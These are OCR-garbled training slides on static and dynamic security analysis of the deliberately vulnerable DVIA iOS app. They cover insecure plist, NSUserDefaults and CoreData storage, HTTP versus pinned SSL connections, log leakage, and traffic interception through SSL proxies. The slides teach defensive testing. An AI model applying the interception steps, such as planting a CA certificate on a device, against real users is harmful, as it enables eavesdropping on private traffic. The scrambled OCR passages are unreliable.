* Analyse the rest of callsto writeToFile:atomically.

0x1000c7f91 (-[BrokenCryptographyDetailsVC textFieldS... mov rdi, gword [ds:0x10079da88]
0x1000d8c8e (-[InsecureDataStorageVulnVC savelnPlistFil... mov rsi, gword [ds:0x10079da28]
0x1001d4f42 (-[FlurryHTTPResponse saveToDisk] + Oxdd)  mov rsi, gword [ds:0x10079da28]
0x1001d88f6 (-[FlurryDataSenderBlockinfo initWithData:]... mov rsi, gword [ds:0x10079da98]
0x1001d8de3 (-[FlurryDataSenderBlockinfo setData:] + Ox67) mov rsi, gword [ds:0x10079da28]
0x10033d00b (__62+[PFPurchase downloadAssetForTran.. mov rsi, gword [ds:0x10079da98]
0x100387ccd (+[TAGPropertyListUtil writePropertyList:wit... mov rsi, gword [ds:0x10079da%98]

It is obtained in InsecureDataStorageVulnVC:

void —[InsecureDataStorageVulnVC saveInPlistFileTapped:](void * self,
void * _cmd, void * arg2) {
objc_storeStrong(var_18, arg2);
var_20 = [NSSearchPathForDirectoriesInDomains(®x9, @x1, @0x1) retain];
var_28 = [[var_20 objectAtIndex:@x@] retainl;
var_3@ = [[var_28 stringByAppendingString:@"/userInfo.plist"]
retain];
var_38 = [[NSMutableDictionary alloc] initl;
rax [self usernameTextField];
rax [rax retain];
var_48 = rax;
rax = [rax text];
rax = [rax retain];
var_68 = rax;
[var_38 setValue:rax forKey:@'username'l;
[var_68B release];
[var_48 release];

rax = [self passwordTextFieldl;
rax = [rax retain];

var_78 = rax;

rax = [rax text];

rax = [rax retain];

var_B8@ = rax;

[var_38 setValue:rax forKey:@"password"l;

[var_80 release];

[var_78 release];

[var_38 writeToFile:var_30 atomically:@x1];
ID:amnVulnerableAppUtilities showAlertWithMessage:@"'Data saved in

- User and password are stored in a file called: userinfo.plist.

L 2
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
* ltis provided in FlurryHTTPResponse:

void % —[FlurryHTTPResponse saveToDisk]{void * self, void % _cmd) {
rax = [NSDate datel;
[rax timeIntervalSincel97e];

rl4 = [FlurryHTTPResponse filePath:intrinsic_cvttsd2si(rdx, xmm@)];
rbx = [[NSMutableDictionary alloc] init];
rax = [NSNumber numberWithInt:self->_statusCode];

[rbx setValue:rax forKey:@'statusCode"];

[rbx setValue:self->_body forKey:@'body"];

[rbx setValue:self->_headers forKey:@"headers"];
[rbx writeToFile:rl4 atomically:@x1l];

rax = [NSURL fileURLWithPath:r14];

[FlurryUtil addSkipBackupAttributeToltemAtURL:rax];
[rbx release];

rax = rl4;

return rax;

« The response to an HTTP request is stored.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
* Itis provided in FlurryDataSenderBlockInfo:

void * -[FlurryDataSenderBlockInfo initWithData:](void * self, void =
_cmd, void % arg2) {

rl4 = arg2;
r12 = [[self super] init];
rax = 0x0;

if (r12 != exe) {
rax = [FlurryUtil generateCFUUID];
[r12 setIdentifier:rax];
rbx = [FlurryUtil filePathDirectoryl;
rdx = [r12 identifier];
r15 = [rbx stringByAppendingPathComponent:rdx];
if (([[r12 identifier] length] != @x@) && ([r15 length] !=

oxe)) {
if (r14 != 8x@) {
rdx = ri5;
if ([rl4 writeToFile:rdx atomically:@x1] !=
ox0) {

rdx = [r14 lengthl;
[r12 setDataSize:rdx, @x1];
rax = [NSDate datel;
[r12 setCreationDate:rax, @x1];
rax = ril2;
else {
if ([FlurryUtil logLevell == @x2) {
NSLog({@"Failed to create
FlurryDataSenderBlockInfo for data size %", [rl4 lengthl);

[r12 dealloc];

* An object is stored in a dictionary by using parameters.

Due to time constraints, the origin of this information will not be
analysed, bit it will be an additional task for the student.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

* ltis provided in downloadAssetForTransaction:

* An information element received from the Internet is stored.

[ NN ] Pseudo Code

Remove potentially dead code Rename
Remove LOJHI macros

int __ 62+[PFPurchase
downloadAssetForTransaction: completion:progress:]_block_invokel39(int
arg@, int argl) {

rbx = arg®;

r14 = [[argl result] retain];

if ([r14 writeToFile:s(*(*(rbx + @x20) + 0x8) + 0x28) atomically:
ox1] != ex8) {

rbx = [x({x(x(rbx + 8x2@) + @x8) + @x28) retain];

else {
r15 = [[NSError errorWithDomain:@"Parse"
code:*_kPFErrorProductDownloadFileSystemFailure userInfo:@x@] retain];
rbx = [[BFTask taskWithError:ri5,
*_kPFErrorProductDownloadFileSystemFailure] retain];
[r15 releasel;

[r14 releasel;
rdi = rbx;
rax = [rdi autorelease];
return rax;
}
|
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
* Itis provided in TAGPropertyListUtil:

bool +[TAGPropertyListUtil writePropertylList:withData:](void * self, void
* _cmd, void * arg2, void * arg3) {
rbx = [arg2 retainl;
var_38 = rbx;
rl4 = [arg3 retain];
r12 = [[TAGPropertyListUtil plistFilePath:rbx] retain];
var_40 = rl4;
rbx = [INSPropertylListSerialization dataWithPropertyList:rl4 format:
@xc8 options:@x® error:@x@] retain];
r13 = [Bx@ retain];
if (rbx != @x@) {
rld4 = @x1;
[rbx writeToFile:r12 atomically:@x1];
}
else {
ri4 = [[NSString stringWithFormat:@'Failed to Write property
list %@ with error %@", var_38, r13] retainl];
[TAGLog warning:rl4];
[r14 releasel;
rid4 = @x0;

[rbx releasel;
[r12 releasel;
[r13 releasel;
[var_4@ release];
[var_38 releasel;
rax = rl4;

return rax;

}

« A property list (dictionary) received via parameter is stored.
- The analysis of the rest of calls to writeToFile is an additional task to

be performed by the student.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

NSUserDefaults

 NSUserDefaults are the equivalent to Android’s
SharedPreferences.

« In order to obtain a NSUserDefaults request, it is necessary to call
the standardUserDefaults method; therefore, following the
procedure, the student should conduct a search and it is obtained:

Q

Address

0x1000c7fc6 (-[BrokenCryptographyDetailsVC textFieldSh...
0x1000c803d (-[BrokenCryptographyDetailsVC textFieldS...
0x1000c84f7 (-[BrokenCryptographyDetailsVC checkUser...
0x1000d899e (-[InsecureDataStorageVulnVC savelnUserD...

0x1001d2f28 (+[FlurryUtil preferredLanguage] + 0x85)

0x1001dd4b6 (-[FlurrySharedData storeAppCloudUser|D:]...
0x1001dd517 (-[FlurrySharedData storedAppCloudUseriD...

0x100272721 (_InitLogging + 0x81)
0x1002727ec (_InitLogging + 0x14c)

0x10027df8¢ (-[CBL_OAToken storelnUserDefaultsWithSer...
0x10027e83f (+[CBL_OAToken loadSetting:provider:prefix:...
0x10027e8b7 (+[CBL_OAToken saveSetting:object:provide...

0x10027ea1c (+[CBL_OAToken removeFromUserDefaults...
0x1003463c2 (-[GAl init] + 0x160)

0x1003596e1 (-[GAlBatchingDispatcher checklAdCampai...
0x100359e9d (-[GAlBatchingDispatcher handleCampaign...

Value

mov
moy
mov

rsi, qword [ds:0x10073daa0]
rsi, gword [ds:0x100739daa0]
rdi, gword [ds:0x10079daa0]

mov rsi, gword [ds:0x10079daa0]

mov
mov
moy
mov
mov
mov
mov
mov
mov
mov
mov
moy

rsi, qword [ds:0x10079daa0]
rsi, qword [ds:0x10073daa0]
rsi, gword [ds:0x10079daa0]
rsi, qword [ds:0%10073daa0]
rsi, gword [ds:0x10079daa0]
rsi, qword [ds:0x10073daa0]
rsi, qword [ds:0x10073daa0]
rsi, gword [ds:0x10073daa0]
rsi, gword [ds:0%10073daa0]
rsi, gword [ds:0x10079daa0]
rsi, qword [ds:0x10073daa0]
rsi, gword [ds:0x100739daa0]

* Focus on the analysis of InsecurebDataStorageVulnVC.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
 Verify the pseudocode of the method.

void -[InsecureDataStorageVulnVC saveInUserDefaultsTapped:](void * self,
void * _cmd, void * arg2) {

objc_storeStrong(var_18, arg2);

var_2@ = [[NSUserDefaults standardUserDefaults] retain];

rax = [self userDefaultsTextField];

rax = [rax retain];

var_30 = rax;

rax = [rax text];

rax = [rax retain];

var_50 = rax;

[var_20 setObject:rax forKey:@'DemoValue"];

[var_50 release]:

[var_30 release]:

[var_2@ synchronizel;

[DamnVulnerableAppUtilities showAlertWithMessage:@"Data saved in
NSUserDefaults"];

objc_storeStrong(var_2@, @xa);

objc_storeStrong(0x@, 0x@);

return;

}

«  Observe that a value that include the “DemoValue” key is being stored.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

CoreData

« Applications that use corebata for the persistence of data use objects
such as NsSManagedObjectContext In order to interact with the database.
More specifically, in order to store data, the save method is called; when
searched, the following data is presented:

a
Address Value

0x1000d90d9 (-[InsecureDataStorageVulnVC savelnCoreD... | mov rsi, gword [ds:0x10079dd08]

0x100253ac2 (-[CBLDocument update:error:] + Ox68) mov rsi, gword [ds:0x10079dd08]

0x100263237 (__28-[CBLMadel scheduleAutosave] bloc... mov rsi, gword [ds:0x10079dd08]

0x1002dba8d (-[PFObject save] + Ox4) mov rsi, gword [ds:0x10079dd08]

0x1002ff567 (-[PFFile save] + Ox4) mov rsi, gword [ds:0x10079dd08]

0x10033ea52 (-[TAGDataProvider save] + 0x9d) mov rsi, gword [ds:0x10079dd08]

0x1003488ff (__40-[GAlDataStore context:removeStaleHi... mov rsi, gword [ds:0x10079dd08]
0x100349467 (-[GAlDataStore setProperty:numberValue:... mov rsi, gword [ds:0x10079dd08]
0x10034964c¢ (-[CAlDataStore setProperty:stringValue:wit... mov rsi, gword [ds:0x10079dd08]
0x10034b237 (__21-[GAlDataStore save:]_block_invoke +... mov rsi, qword [ds:0x10079dd08]
0x10034b247 (__21-[GAlDataStore save:]_block_invoke +... mov rsi, qword [ds:0%x10079dd08]
0x10034bd23 (-[GAlDataStore onExit:] + Ox4) mov rsi, qword [ds:0%x10079dd08]
0x100357f01 {-[GAlBatchingDispatcher persist:] + 0x8f) mov rsi, qword [ds:0x10079dd08]
0x100358259 (-[GAlBatchingDispatcher deleteHits:] + Ox1d4) mov rsi, gword [ds:0x10079dd08]
0x1003584cB (-[GAlBatchingDispatcher deleteAllHits] + 0... mov rsi, gword [ds:0x10079dd08]

* Focus only on the first element.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
CoreData
 Verify the pseudocode:

void -[InsecureDataStorageVulnVC saveInCoreDataTapped:](void * self, void % _emd, void = arg2) {
objc_storeStrong(@x@, arg2);
rax = [self managedObjectContext];
rax = [rax retain];
var_20 = [[NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:rax] retain];
[rax release];

rax = [self nameTextField];
rax = [rax retainl;

var_50 = rax;

rax = [rax text];

rax = [rax retain];
var_58 = rax;

[var_20 setName:rax];
[var_58 releasel;
[var_50 releasel;

rax = [self emailTextField];
rax = [rax retainl;

var_6B = rax;

rax = [rax text];

rax = [rax retain];

var_70 = rax;

[var_20 setEmail:rax];
[var_70 releasel;

[var_68 releasel;

rax = [self phoneTextField];
rax = [rax retain];

var_B@ = rax;

- When analysing the method’s code, it is observer that personal data of
the user is stored in the user’s table.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
Summary
- After analysing the different types of storage mechanisms, we can
conclude that:
There is a plist file that stores possible sensitive data.
NSUserDefaults are used to store a set of data. It is not possible to
state that data is sensitive only by using the information available
until now.
The application uses coreData to store personal data of the user.
« All the information discovered during this task should be validated in the
dynamic analysis of the application.
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_¢¢0 Static Analysis of an 10S Application

Network Connections

= |tis possible to identify connections that the application will make and obtain a
first approach to their security by using the static analysis.

Task
Identify all the connections made by the application to external services
through the Internet. Issues related to each connection should be described.

Expected result

A list including all the connections that an application makes to the Internet
and its configuration (use of SSL, validation of the SSL certificate in the
server, etc.).
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+4$ Static Analysis of an 10S Application

Network Connections

Solution

First, search methods of the NSRUL, NSURLConnection and NSURLRequest
classes. Specifically, search:
« URLWithString, creates a URL based on a string object.
- initWithRequest, Creates a connection based on an NSURLRequest
object.
« RequestWithURL, Creates an NSURLRequest based on an NSURL
object.
* Start, Ccreates a connection to a previously defined URL.
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+4$ Static Analysis of an 10S Application

Network Connections

Solution

URLWithString
Address Value
0x10001dd0e (-[SolutionsViewController loadWebPage] +... mov
Dx10001ff57 (+[SFAntiPiracy urlChack] + 0x17) maowv

Dx100037805 (-[TransportLayerProtectionVC sendOverH... mov
0x100037695 (-[TransportLayerProtectionVC sendOwverH... mov
0x100037bad (-[TransportLayerProtectionVC sendUsingS... mov
Ox1000c72a9 (-[GenericWebViewVC loadWebPage] + 0x483) mov
0x100131c99 (-[SideChannelDataleakageDetailsVC setSh... mov
0x1001710f7 (-[HomeViewController twitterHandleTapped... mov
0x100171162 (-[HomeViewController twitterHandleTappe... mov
0x1001bef5c (-[FlurryPulseEventController asyncinvokelU... mov
0x1001c6c5e (-[FlurryPulseRequest sendPulseReguest:pa... mov
0x1001d667f (+[FlurryHttpAsyncTask get:headerFields:de... mov
0x1001d6734 (+[FlurryHttpAsyncTask post:body:headerFi... mov
0x1001d6f4d (+[FlurryHttpAsyncTask urlWithProtocolhos...  mov
0x1001d7487 (-[FlurryDataSender sendData:withldentifier... mov
0x100223760b (__valueConverterToClass_block_invoke 4. mov
0x10024b09f ( CBLAppendToURL + Oxde) maov

* Agreat amount of results are obtained.

rs

rs

rsi,
rdi,
rsi,
, gword [ds:0x10079¢218]
rsi,
, gword [ds:0x10079c2{8]
rsi,
, gword [ds:0x10079c2{8]
rsi,
, gword [ds:0x10079c218]
rsi,
, gword [ds:0x10079c2{8]
rsi,
, gword [ds:0x10079c2{8]

rs

rs

rs

rs

rs

rs

, gword [ds:0x10079c2{8]
rsi,
, gword [ds:0x10079c2{8]

gword [ds:0x10079c218]
gword [ds:0x10079c2{8]
gword [ds:0x10078c2f8]
gword [ds:0x10079c2{8]
gword [ds:0x10079¢218]
gword [ds:0x10079c218]
gword [ds:0x10079c2{8]

gword [ds:0x10079c218]

gword [ds:0x10079c218]

« If the name of the class is used, we focus only on the results corresponding to the

TransportLayerProtectionVC.

* The revision of the rest of calls is an additional task for the student.
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+4$ Static Analysis of an 10S Application

Network Connections

Solution
* This is the pseudocode obtained for sendoverHTTPTapped:

void -[TransportLayerProtectionVC sendOverHTTPTapped:](void % self, void % _emd, void % arg2) {
objc_storeStrong(var_18, arg2);
var_2@ = [[NSURL URLWithString:@"http://google.com/"] retainl;
[self sendRequestOverUrl:var_20];
objc_storeStrong(var_20, 8x8);
objc_storeStrong(@x0, 0x8);
return;

* This is the pseudocode obtained for sendoverHTTPSTapped:

void —[TransportLayerProtectionVC sendOverHTTPSTapped:](void = self, void % _cmd, void * arg2) {
objc_storeStrong(var_18, arg2);
var_20 = [[NSURL URLWithString:@'https://google.com/"] retainl];
[self sendRequestOverUrl:var_20];
objc_storeStrong(var_28, 0x8);
objc_storeStrong(@x@, 8x@);
return;

* This is the pseudocode obtained for sendUsingSSLPinning:

void —-[TransportLayerProtectionVC sendUsingSSLPinning:](void * self, void % _cmd, void % arg2) {
objc_storeStrong(var_18, arg2);
[self setIsSSLPinning:@x1];
rax = [NSURL URLWithString:@"https://www.google.co.uk"];
rax = [rax retain]:
intrinsic_movsd(xmm@, *@x100618ads8);
var_20 = rax;
var_28 = [[NSURLRequest requestWithURL:var_2@ cachePolicy:@x4 timeoutInterval:r8] retain];
var_30 = [[NSURLConnection connectionWithRequest:var_28 delegate:self] retain];
[var_3@ start];
objc_storeStrong({var_3@, @x@);
objc_storeStrong(var_28, @xd);
objc_storeStrong{var_2@8, @x@);
objc_storeStrong(0x@, @x@);
return;
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+4$ Static Analysis of an 10S Application

Network Connections

Solution

* The search of other methods bring us to the same three methods existing

in the application’s code. For example, it is obtained when searching
initWithRequest:

Value

0037a22 (-[TransportLayerProtectionVC sendReques... mov rsi, gword [ds:0x10079¢8a8]
038b2e1 (-[TAGResourceloader loadResourceAsyncl... mov rsi, gword [ds:0x10079¢8a8]

« We can conclude that the application is using different security levels to
stablish connections:
There is a method that creates non-encrypted connections.
There is a method that creates SSL encrypted connections, but
without pinning.
There is a method that creates SSL connections with pinning to
avoid the counterfeiting of certificates.
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_¢¢0 Static Analysis of an 10S Application

Information Leakage to Logs

= The developer uses the application’s log to verify the proper functioning and to

debug the application during the development cycle. Sensitive data may probably
be leaked through logs.

Task

Locate calls to Android’s logging API and verify that the information
transmitted to the log is not sensitive.

Expected result

A list including calls to API and its location that may include sensitive
information.
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+4$ Static Analysis of an 10S Application

Information Leakage to Logs

Solution
* Generally, on iOS, calls to NSLog are used to create entries in the log.
« Conduct a search of NSLog. Since this library is provided by “Foundations

Framework”, it is possible to search it from the Labels tab.

Address Value

0x1000d816¢ (-[InsecureDataStorageVulnVC savelnCoreD... call imp__stubs_ NSLog

51ring5 0x100132473 (-[SideChannelDataLeakageDetailsVC make... call imp__stubs__ NSLog

0x1001326da (__49-[SideChannelDatalLeakageDetailsVC... call imp__stubs_ NSLog

Q, NSLog Q 0x1001a95f3 (-[DDLogFileManagerDefault logsDirectoryl... call imp__stubs__ NSLog

0x1001aee8a (sub_1001aeed0 + Ox5a) call imp__stubs_NSlLog

| TEE R 0x1001aeedD (sub_1001aeedd + 0x80) call imp__stubs_NSlLog

- - 0Ox1001afebe (-[DDLogFilelnfo renameFile:] + Ox20e) call imp__stubs_NSlLog

tightdb::util::§slogichar const®) Ox1001affaf (-[DDLogFileinfo renameFile:] + Ox2ff) call imp__stubs_NSlLog
MSLog 0x1001bcB08 (__21+[FlurryWatch apikey]_block_invoke... | jmp imp__stubs__NSlLog

MNSLogv 0x1001bc79c (+[FlurryWatch logWatchEvent:withParamet... call imp__stubs_ NSLog

NSLog 0x1001bc831 (+[FlurryWatch logWatchEvent:withParamet... call imp__stubs_ NSLog

0x1001bc8ef (+[FlurryWatch logWatchEvent:withParamete... call imp__stubs_ NSLog

L 0x1001bcbB0 (+[FlurryWatch logWatchError:message:exc... call imp__stubs_ NSLog
_N5Log 0x1001bec7?f (+[FlurryWatch logWatchError:message:exce... jmp imp__stubs_ NSLog
_NSLogv 0x1001beckbb (+[FlurryWatch legWatchError:message:exc...  jmp imp__stubs_NSLog

0x1001befée (+[FlurryWatch logWatchError:message:erro...  call imp__stubs__ NSLog

0x1001bd08b (+[FlurryWatch logWatchError:message:err...  jmp imp__stubs_NSLog

* As illustrated above, the library is used in the whole application.
* Focus on the first two results.

sincibe__ ®



+4$ Static Analysis of an 10S Application

Information Leakage to Logs

Solution
InsecureDataStorageVulnVC:

MM LI LU L L WY A VAT WAT Sy

¥
else {
rax = [@x® localizedDescription];
rax = [rax retain];
rsi = rax;
var_B8 = rax;
NSLog(@'Error in saving data: %@", rsi);
[var_B8 release];
} [DamnVulnerableAppUtilities showAlertWithMessage:@"Error Saved in Core Data"];

return:

* Itis used to show information regarding an exception. No data is leaked to
SideChannelDataleakageDetailsVC:

lvar_C@ releasel;

rax [var_18 description];

rax [rax retain];

rsi rax;

var_D@ = rax;

MNSLog(@"user saved: %@", rsi);

[var_D@ release];

[self retain];

[var_18 retainl;

[var_18 saveInBackgroundWithBlock:_ NSConcreteStackBlock];

* It explains that the user (as well as personal data related) has been stored, so
sensitive information is leaked.

sincibe_

185



+4$ Static Analysis of an 10S Application

Conclusions

=  Summary of conclusions regarding the analysis of the application:

The application is able to handle DVIA-based URLs. The analysis suggests that such
URLSs provide a functionality to make phone calls.

There are calls to create non-encrypted files that seem to include sensitive information.
There is an HTTP and two SSL (one of them protected with SSL pinning) non-

SSL Pinning
Verification of the certificate sent, avoiding a man in the middle that
pretends to be the original server.

Data is leaked through the system’s logs.

= The existence of some of the security issues mentioned in this analysis will be
validated during the dynamic analysis of the application.
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+4$ Static Analysis of an 10S Application

Other Vulnerable Applications

= DVIA includes vulnerabilities in more elements of the application, apart from the
ones reviewed in the laboratory.

= Apart from InsecureBank, there are other Android applications that have been
developed for the same purpose:
IGOAT: vulnerable application that belongs to the OWASP project, developed for the

learning of security on Android. Its last version was launched on 2013 and it is not
updated.

IPhone Labs: security laboratories created by Security Compass. They include step-
by-step manuals to solve each issue found in the applications.

= Following the steps learn in this unit and the laboratory, conduct a static analysis
of such applications or other vulnerabilities included in DVIA.

= |tis also possible to use iNalyzer to analyse any of such applications and
compare the results obtained with your findings.

sincibe__ ¥


https://drive.google.com/folderview?id=0B4JD0hBwn1-uZmJXU0pfdEUtdlE&usp=sharing
https://github.com/SecurityCompass/iPhoneLabs

s = arvayl “zoom' )3

W APy =0 || Seop %
$columns ==
Sfhasaen() = “first'; .

W € Wamp ¢ 1) & Scolumns == 0 )
Shasann() = "last's

g, Moh ® wpgat_sttachment_url( Sattachment 1413

o () Simage \ink )
R it ]

0, G S S

.
Yo cons = onc.ster ievlorel, B et d
% esc_atur( get_the_titiel sattachmeet W8 ) 5 -
- ;-“ P = s




¢4$ Dynamic Analysis

Introduction

= This section provides an introduction to the dynamic analysis of mobile
applications.

= The dynamic analysis of an application means analysing the properties of an
application by executing it and checking the actions that it performs.

= During the dynamic analysis, the following features of an application are
observed:

Information stored in the memory of the application’s process.
Other files created by the application.

Its execution flow.
o Components available for other applications.
o Sensitive APIs of the system.

Network connections created.
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¢4$ Dynamic Analysis

Analysable Elements

= In order to conduct a dynamic analysis, it is necessary to have a device or an
emulator to execute the application.

= Given the restrictions that mobile operative systems impose, we may possibly
need to use a jailbroken or rooted device to analyse all the elements of the
application, especially if the source code is not available.

= The dynamic analysis allows us:

To verify the existence of vulnerabilities identified in the static analysis of the
application, including:

o Insecure data transmission through the net.

o Insecure storage mechanisms.

o Components of the application exposed.

o Possible configuration problems of the application.
Vulnerabilities existing in the back-end of the application.

Failures in the validation of entry data and the architecture of the application.
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¢4$ Dynamic Analysis

Methodology

When conducting the static analysis, it is advisable to have a plan including

security criteria to review and actions to carry out for the verification of each
criterion.

It is recommended:

To list the specific elements of the application to analyse.

To prepare the testing laboratory so that all the elements to analyse are accessible
through already installed tools.

To establish the report template, following the following structure:
o An executive summary that describes the main results of the analysis.
o One section for each analysable element:

— In each section, one subsection that includes the application’s specific element that has been analysed
to verify such element.

— Describe operations performed and results obtained in each subsection.

Prepare the binary files for the analysis.
Conduct the analysis using the report as a guide.
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¢4$ Dynamic Analysis

Structure of the Rest of the Section

= During the rest of the section, criteria
of an application that can be reviewed
with a dynamic analysis are
presented.

= For each criteria, the following
information is described:
Elements of the application that

provides information regarding the
criterion,

How to analyse each element
generally.

= Laboratoratories of dynamic analysis
are more focused on tools that enable
the analysis of each element for each
platform (I0S and Android).
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_¢¢<© Preparation of the Binary File

Backup and Debugging

= In order to perform all the tasks required for the dynamic and forensic analysis, it
IS necessary that all the applications enable backups and debugging.

= Generally, applications in the production stage do not allow users to perform
such activities.

= However, only having access to the binary, it is possble to modify it in order to
activate such options and thus, be able to perform more complete dynamic and
forensic analysis.
= To this end, it is only necessary to:
Unpack the binary.
Modify the required parameters.
Repack the binary and sign it.

= This process depends on each platform and will be explained deeply for Android
and iOS.
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¢S Connections

Introduction

= The analysis of the application’s connection is conducted in order to verify the
security of data transmitted through the network.

= On may occasions, this task is carried out to confirm indicators of problems
detected in the static analysis.

= In order to analyse the connections of an application, two task are performed
mainly:
Traffic analysis.
Verification of SSL connections.

= Each of these tasks has a different objective, but both are essential to ensure
that data is transmitted from an application in a secure way.
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¢S Connections

Traffic Analysis

= The traffic analysis implies capturing the traffic created by the application (or the
whole device) to be analysed later.

= |t allows the user to obtain information on different aspects of the application
analysed. Depending on the objective of the application, each aspect has a
different level of importance:
If it is aimed at analysing the security of the information transmitted:

o It will be checked that the traffic created by the application is transmitted via an application
layer security protocol, such as SSL.

If it is aimed at analysing the information sent:

o It will inspect the content of messages sent by the application.

o If a protected connection is used, it will be necessary to modify the code of the application in
order to force a non-encrypted connection or inspect messages before they are sent (via
debugging).

= Both objectives are useful to evaluate the risk that the use of a given application
may pose.
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¢S Connections

Traffic Analysis
= Depending on the infrastructure of the analysis laboratory, it is possible to
stablish different configurations.
= By using a VNP:
The device is connected to the Internet via a VPN.
The traffic can be analysed from the VNP server itself.

Captured traffic \

VNP server

Analysis computer / App server

Access pomt '\‘

Mobile device
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¢S Connections

Traffic Analysis

= Depending on the infrastructure of the analysis laboratory, it is possible to
stablish different configurations.

= Through an open Wi-Fi network:

The device is connected to an open Wi-Fi network.

It allows the user to inspect all the packets, but it is accessible to all the devices
around it.

AnaIyS|s computer —

& \ Access point

Mobile device

App server
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¢S Connections

Traffic Analysis

= Depending on the infrastructure of the analysis laboratory, it is possible to
stablish different configurations.

= By using a virtual machine or emulator:
It allows the user to control the network interface of the decive directly.
It does not need a physical device.

.
N \
Access point
App server

Emulator

Analysis computer
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¢S Connections

Traffic Analysis

= Depending on the infrastructure of the analysis laboratory, it is possible to
stablish different configurations.

= Via USB connections (device or emulator):
It allows the user to redirect certain ports to the analysis computer.
The analysis computer needs a proxy server.

,-.
\
Access lséomt \

App server

Emulator

Analysis computer

sincibe__ ™



¢S Connections

Traffic Analysis

= Depending on the infrastructure of the analysis laboratory, it is possible to
stablish different configurations.

= By using a proxy via the network:

The device is connected to an open Wi-Fi network.

A proxy server is installed in the analysis computer and the device is configured in
order to send all the traffic through such server.

Analysis | o—
computer N

A

& Access point

Mobile device

App server
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¢S Connections

Traffic Analysis

= Once the environment to conduct the analysis is configured, it is possible to
analyse the traffic by using Wireshark.

= Find below an example of capture on the Android emulator:

"] 5554:TeskDevice -+ x

da

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

@g.—; vr>[:l<\@,,—\!@

0 0 F W6 E

Filter: [ . Expression... Clear Apply Save

No. Time Source Destination Protocol Length Info
2956 136.1397340€46.165.194.70 192.168.0.63 NTP 90 NTP Version 4, server
2957 137.1171190€ 192.168.0.63 37.187.104.44 NTP 90 NTP Version 4, client
2958 137.1286610€37.187.104.44 192.168.0.63 NTP 90 NTP Version 4, server
2959 140.4352270€ 195.53.165.153 192.168.0.63 TLSV1 103 Encrypted Alert

JornadaTaller Insgiracional pare cmprendedores

Ciberseguridad en Infragstiucturas Criticas

.4744900€ 192.168.0.63 195.53.165.153 66 46062 > https [ACK] Seq=5073 Ack=3334:

[Apuntale aqui|

2963 140.6870740€ 195.53.165.153 192.168.0.63 TCP 66 https > 46062 [ACK] Seq=33341 Ack=507:

2964 141.7829960€ Bskyb e2:d3:b8 Broadcast ARP 66 Who has 192.168.0.67? Tell 192.168.6. o
2965 150.8653430€ 192.168.0.6 255.255.255.255 DB-LSP-DI 438 Dropbox LAN sync Discovery Protocol

2966 150.8655060€ 192.168.0.6 192.168.0.255 DB-LSP-DI 438 Dropbox LAN sync Discovery Protocol

»Frame 2942: 2318 bytes on wire (18544 bits), 2318 bytes captured (18544 bits) on interface @

»Ethernet II, Src: Bskyb e2:d3:b8 (7c:4c:a5:e2:d3:b8), Dst: CadmusCo 65:cd:cc (08:00:27:65:cd:cc)

»Internet Protocol Version 4, Src: 195.53.165.153 (195.53.165.153), Dst: 192.168.0.63 (192.168.0.63)
pTransmission Control Protocol, Src Port: https (443), Dst Port: 46662 (46062), Seq: 21549, Ack: 3821, Len: 2252
»[2 Reassembled TCP Segments (3221 bytes): #2941(1006), #2942(2215)]

»Secure Sockets Layer

»Secure Sockets Layer

ElackEnergy and critical
systems

0000 ©8 00 27 65 cd cc 7c 4c a5 e2 d3 b8 68 €0 45 00
0010 ©9 08 8f 7d 40 00 2d 86 8b c4 c3 35 a5 99 c@ a8
0020 ©0 3f 01 bb b3 ee 54 e9 77 €9 3e be ce bc 80 18
0030 ©1 29 32 a9 60 00 81 81 ©8 Ba 1d 06 ad c9 B3 64
0040 3a 21 B8c dl 31 a9 df 17 3a 7d f7 ac eb c6 37 e3
0650 d6 93 10 b4 c6 al bl ef 12 2e 83 f6 11 @d 91 a7
0060 a0 a8 a8 6b 6b 49 f2 af 83 93 38 14 37 1c 59 84
0070 7e 6f 18 f2 87 97 f5 48 e4 84 7b a5 27 @c 48 66
AARA 95 71 2¢ 33 7A r3 f4 98 dd 42 14 11 A4 Aa Af A%

Frame (2318 bytes) = Reassembled TCP (3221 bytes) E

coegres COSPONRTR [TNSEY (TS, ) (TSPRTRTTRTTR
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¢S Connections

Traffic Analysis

joo11110010 00 SEERRRRLEERENE = [f the laboratory is configured with a
10gtenee 18 110 SRR 11E 000080 | proxy server able to modify

- ‘ . a0 requests, it is possible to modify the
request sent from the app.

= Apart from other aspects, it allows
the user to:
Verify the security of the back end
against attacks that are common

within that environment (XSS, SQL
Injectino, etc.).

Review security in SSL connections
(explained in-depth below).

Verify the security of the application
against the modification of entry
data received by the server.
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¢S Connections

Verification of SSL Connections

It is possible that the application is connected to the back end by using the SSL
protocol.

It does not imply that the connection to the server is secure by default, since

some risks related to the validation and configuration of the SSL connection may
exist:

All the SSL certificates are accepted regardless the origin.
It is not verified whether the certificate has expired.

All the certificates signed by a certification authority installed in the device are
accepted.

If the application is susceptible to any of such problems, the SSL traffic could be
inspected by using an SSL proxy.
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¢S Connections

Verification of SSL Connections

= The SSL proxy creates two different SSL connection:

Device - Proxy: this connection is created with an invalid certificate, but is accepted
by the application. The application thinks that is connected to a legitimate server. The
method used to create the certificate is different according to the application.

Proxy - Back-End: the proxy acts as a client that accesses the service, but uses data
provided by the device.

= The analysis of SSL traffic is carried out in the analysis computer during the
transition between both connections, since the information is not encrypted there.

SSL connection 2

A
v

.

Mobile device
App server

Analysis
computer
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¢S Connections

Verification of SSL Connections

= The type of certificate created in the proxy depends on the vulnerability that the
application is susceptible to:
If the application does not perform any verification:
o Itis only necessary to use an autosigned certificate or one that has already expired.
If the application only verifies that the certificate is signed by a reliable entity:

o Inthis case, the process is more complex.

o First, it is necessary to create a Certificate Authority certificate and install it on the device (via
physical access or malware).

o Then, a certificate signed by such CA should be created and installed in the proxy server.

o If the application does not perform any certificate pinning, the user will only need the certificate
to be approved by a reliable CA.
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¢4$ |nsecure Storage Mechanisms

Introduction

During the static analysis, different information storage mechanisms used by the
application have been identified.

Verifications made in this section are aimed at checking whether data stored in a
file may include sensitive information.

